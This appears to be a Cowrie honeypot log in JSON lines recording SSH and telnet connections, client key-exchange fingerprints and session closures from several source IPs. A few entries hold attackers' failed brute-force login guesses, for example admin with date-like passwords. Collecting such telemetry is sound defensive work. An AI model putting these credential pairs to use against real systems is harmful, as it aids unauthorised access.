{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:08:43.963810Z","src_ip":"114.141.59.195","session":"d887d755ef6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"Password123","message":"login attempt [minecraft/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:08:44.983721Z","src_ip":"114.141.59.195","session":"d887d755ef6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:08:46.230481Z","src_ip":"114.141.59.195","session":"d887d755ef6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.99940538406372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:08:51.130811Z","src_ip":"149.202.94.120","session":"47d8d34a72d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.202.94.120","src_port":47490,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a43a2b2712c","protocol":"telnet","message":"New connection: 149.202.94.120:47490 (10.17.0.5:23) [session: 1a43a2b2712c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:08:51.480680Z"}
{"eventid":"cowrie.session.closed","duration":30.865670919418335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:08:52.138733Z","src_ip":"149.202.94.120","session":"4a42f0e4888c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0024242401123,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:09:01.174176Z","src_ip":"177.245.238.95","session":"75e02c8a9c03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":36490,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d4748b4033d","protocol":"ssh","message":"New connection: 2.57.121.112:36490 (159.203.135.109:22) [session: 1d4748b4033d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:09:21.682660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:09:21.687770Z","src_ip":"2.57.121.112","session":"1d4748b4033d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:09:21.792514Z","src_ip":"2.57.121.112","session":"1d4748b4033d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.694918155670166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:09:22.175495Z","src_ip":"149.202.94.120","session":"1a43a2b2712c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18041996","message":"login attempt [admin/18041996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:09:22.283138Z","src_ip":"2.57.121.112","session":"1d4748b4033d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180382","message":"login attempt [admin/180382] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:09:23.389461Z","src_ip":"2.57.121.112","session":"1d4748b4033d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18031974","message":"login attempt [admin/18031974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:09:24.496501Z","src_ip":"2.57.121.112","session":"1d4748b4033d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180278","message":"login attempt [admin/180278] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:09:25.604325Z","src_ip":"2.57.121.112","session":"1d4748b4033d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18021973","message":"login attempt [admin/18021973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:09:26.712952Z","src_ip":"2.57.121.112","session":"1d4748b4033d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:09:27.820441Z","src_ip":"2.57.121.112","session":"1d4748b4033d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46982,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e943dd099ba","protocol":"telnet","message":"New connection: 208.115.200.90:46982 (10.17.0.5:23) [session: 4e943dd099ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:08.453554Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56756,"dst_ip":"10.17.0.5","dst_port":23,"session":"503dabc1484b","protocol":"telnet","message":"New connection: 208.115.200.90:56756 (10.17.0.5:23) [session: 503dabc1484b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:36.366884Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60246,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eaed3e12fba","protocol":"telnet","message":"New connection: 208.115.219.122:60246 (10.17.0.5:23) [session: 3eaed3e12fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:36.736655Z"}
{"eventid":"cowrie.session.closed","duration":30.667497158050537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:39.120920Z","src_ip":"208.115.200.90","session":"4e943dd099ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60258,"dst_ip":"10.17.0.5","dst_port":23,"session":"56b5f481289d","protocol":"telnet","message":"New connection: 208.115.219.122:60258 (10.17.0.5:23) [session: 56b5f481289d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:40.092099Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60270,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff88b753c653","protocol":"telnet","message":"New connection: 208.115.219.122:60270 (10.17.0.5:23) [session: ff88b753c653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:41.709403Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60272,"dst_ip":"10.17.0.5","dst_port":23,"session":"70365e5556fe","protocol":"telnet","message":"New connection: 208.115.219.122:60272 (10.17.0.5:23) [session: 70365e5556fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:43.218026Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":33324,"dst_ip":"10.17.0.5","dst_port":23,"session":"e13035bc9a2a","protocol":"telnet","message":"New connection: 208.115.219.122:33324 (10.17.0.5:23) [session: e13035bc9a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:45.147141Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":33336,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d8d3bd2f5e9","protocol":"telnet","message":"New connection: 208.115.219.122:33336 (10.17.0.5:23) [session: 6d8d3bd2f5e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:46.707379Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":33348,"dst_ip":"10.17.0.5","dst_port":23,"session":"671093e4feb4","protocol":"telnet","message":"New connection: 208.115.219.122:33348 (10.17.0.5:23) [session: 671093e4feb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:51.735402Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":33358,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb77b9baeb5","protocol":"telnet","message":"New connection: 208.115.219.122:33358 (10.17.0.5:23) [session: 1cb77b9baeb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:53.271364Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39354,"dst_ip":"10.17.0.5","dst_port":23,"session":"202094cd2197","protocol":"telnet","message":"New connection: 208.115.219.122:39354 (10.17.0.5:23) [session: 202094cd2197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:55.619380Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39366,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad83337b9f2b","protocol":"telnet","message":"New connection: 208.115.219.122:39366 (10.17.0.5:23) [session: ad83337b9f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:55.793205Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39378,"dst_ip":"10.17.0.5","dst_port":23,"session":"e066f92cae4b","protocol":"telnet","message":"New connection: 208.115.219.122:39378 (10.17.0.5:23) [session: e066f92cae4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:56.791423Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39386,"dst_ip":"10.17.0.5","dst_port":23,"session":"7497c0f9c828","protocol":"telnet","message":"New connection: 208.115.219.122:39386 (10.17.0.5:23) [session: 7497c0f9c828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:57.793281Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39394,"dst_ip":"10.17.0.5","dst_port":23,"session":"7267e851d653","protocol":"telnet","message":"New connection: 208.115.219.122:39394 (10.17.0.5:23) [session: 7267e851d653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:10:58.838378Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39400,"dst_ip":"10.17.0.5","dst_port":23,"session":"57be55972bd0","protocol":"telnet","message":"New connection: 208.115.219.122:39400 (10.17.0.5:23) [session: 57be55972bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:01.351962Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39402,"dst_ip":"10.17.0.5","dst_port":23,"session":"320c4dd3a88a","protocol":"telnet","message":"New connection: 208.115.219.122:39402 (10.17.0.5:23) [session: 320c4dd3a88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:02.498415Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39416,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d0b451d1f3a","protocol":"telnet","message":"New connection: 208.115.219.122:39416 (10.17.0.5:23) [session: 5d0b451d1f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:02.702446Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39418,"dst_ip":"10.17.0.5","dst_port":23,"session":"6762f71a21b3","protocol":"telnet","message":"New connection: 208.115.219.122:39418 (10.17.0.5:23) [session: 6762f71a21b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:03.170149Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39424,"dst_ip":"10.17.0.5","dst_port":23,"session":"248b32aff1cc","protocol":"telnet","message":"New connection: 208.115.219.122:39424 (10.17.0.5:23) [session: 248b32aff1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:04.944461Z"}
{"eventid":"cowrie.session.closed","duration":30.94615077972412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:07.312925Z","src_ip":"208.115.200.90","session":"503dabc1484b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693774700164795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:07.430310Z","src_ip":"208.115.219.122","session":"3eaed3e12fba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58372,"dst_ip":"10.17.0.5","dst_port":23,"session":"1feacd5436c5","protocol":"telnet","message":"New connection: 208.115.219.122:58372 (10.17.0.5:23) [session: 1feacd5436c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:07.574459Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59124,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f17226b2a12","protocol":"telnet","message":"New connection: 208.115.200.90:59124 (10.17.0.5:23) [session: 2f17226b2a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:07.592765Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58380,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdce009edc41","protocol":"telnet","message":"New connection: 208.115.219.122:58380 (10.17.0.5:23) [session: cdce009edc41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:08.136763Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58394,"dst_ip":"10.17.0.5","dst_port":23,"session":"b093e34883bd","protocol":"telnet","message":"New connection: 208.115.219.122:58394 (10.17.0.5:23) [session: b093e34883bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:09.280897Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58400,"dst_ip":"10.17.0.5","dst_port":23,"session":"002d9c75bc11","protocol":"telnet","message":"New connection: 208.115.219.122:58400 (10.17.0.5:23) [session: 002d9c75bc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:10.136097Z"}
{"eventid":"cowrie.session.closed","duration":30.9397554397583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:11.031527Z","src_ip":"208.115.219.122","session":"56b5f481289d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58414,"dst_ip":"10.17.0.5","dst_port":23,"session":"6285fa2e258f","protocol":"telnet","message":"New connection: 208.115.219.122:58414 (10.17.0.5:23) [session: 6285fa2e258f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:11.162684Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58420,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7f522ffdc03","protocol":"telnet","message":"New connection: 208.115.219.122:58420 (10.17.0.5:23) [session: b7f522ffdc03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:12.136342Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58422,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cd81cf28a89","protocol":"telnet","message":"New connection: 208.115.219.122:58422 (10.17.0.5:23) [session: 4cd81cf28a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:12.493343Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58436,"dst_ip":"10.17.0.5","dst_port":23,"session":"17f1eae25008","protocol":"telnet","message":"New connection: 208.115.219.122:58436 (10.17.0.5:23) [session: 17f1eae25008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:12.620075Z"}
{"eventid":"cowrie.session.closed","duration":31.031022310256958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:12.740293Z","src_ip":"208.115.219.122","session":"ff88b753c653","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09305453300476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:14.310962Z","src_ip":"208.115.219.122","session":"70365e5556fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51032,"dst_ip":"10.17.0.5","dst_port":23,"session":"99473076ca51","protocol":"telnet","message":"New connection: 208.115.219.122:51032 (10.17.0.5:23) [session: 99473076ca51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:15.554422Z"}
{"eventid":"cowrie.session.closed","duration":31.070929765701294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:16.217955Z","src_ip":"208.115.219.122","session":"e13035bc9a2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.321394205093384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:17.028648Z","src_ip":"208.115.219.122","session":"6d8d3bd2f5e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51042,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbbd5a62b488","protocol":"telnet","message":"New connection: 208.115.219.122:51042 (10.17.0.5:23) [session: dbbd5a62b488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:17.588842Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51058,"dst_ip":"10.17.0.5","dst_port":23,"session":"b30d9aef4237","protocol":"telnet","message":"New connection: 208.115.219.122:51058 (10.17.0.5:23) [session: b30d9aef4237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:18.218637Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51064,"dst_ip":"10.17.0.5","dst_port":23,"session":"f68cdc669789","protocol":"telnet","message":"New connection: 208.115.219.122:51064 (10.17.0.5:23) [session: f68cdc669789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:19.339135Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51066,"dst_ip":"10.17.0.5","dst_port":23,"session":"7529e41ff9d3","protocol":"telnet","message":"New connection: 208.115.219.122:51066 (10.17.0.5:23) [session: 7529e41ff9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:20.434430Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51076,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ddbc5879cd7","protocol":"telnet","message":"New connection: 208.115.219.122:51076 (10.17.0.5:23) [session: 5ddbc5879cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:20.455542Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51092,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0bf68e21b4a","protocol":"telnet","message":"New connection: 208.115.219.122:51092 (10.17.0.5:23) [session: d0bf68e21b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:21.172692Z"}
{"eventid":"cowrie.session.closed","duration":30.291404008865356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:22.026675Z","src_ip":"208.115.219.122","session":"671093e4feb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51102,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd2f783aeec5","protocol":"telnet","message":"New connection: 208.115.219.122:51102 (10.17.0.5:23) [session: cd2f783aeec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:22.446703Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51106,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec564e3b406d","protocol":"telnet","message":"New connection: 208.115.219.122:51106 (10.17.0.5:23) [session: ec564e3b406d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:22.583961Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51122,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d27569013e2","protocol":"telnet","message":"New connection: 208.115.219.122:51122 (10.17.0.5:23) [session: 6d27569013e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:23.725075Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51132,"dst_ip":"10.17.0.5","dst_port":23,"session":"71ad7834a152","protocol":"telnet","message":"New connection: 208.115.219.122:51132 (10.17.0.5:23) [session: 71ad7834a152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:23.921652Z"}
{"eventid":"cowrie.session.closed","duration":30.790596961975098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:24.061835Z","src_ip":"208.115.219.122","session":"1cb77b9baeb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51144,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7c182c108b8","protocol":"telnet","message":"New connection: 208.115.219.122:51144 (10.17.0.5:23) [session: b7c182c108b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:24.088194Z"}
{"eventid":"cowrie.session.closed","duration":30.39991021156311,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:26.019129Z","src_ip":"208.115.219.122","session":"202094cd2197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55246,"dst_ip":"10.17.0.5","dst_port":23,"session":"992596871799","protocol":"telnet","message":"New connection: 208.115.219.122:55246 (10.17.0.5:23) [session: 992596871799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:26.232246Z"}
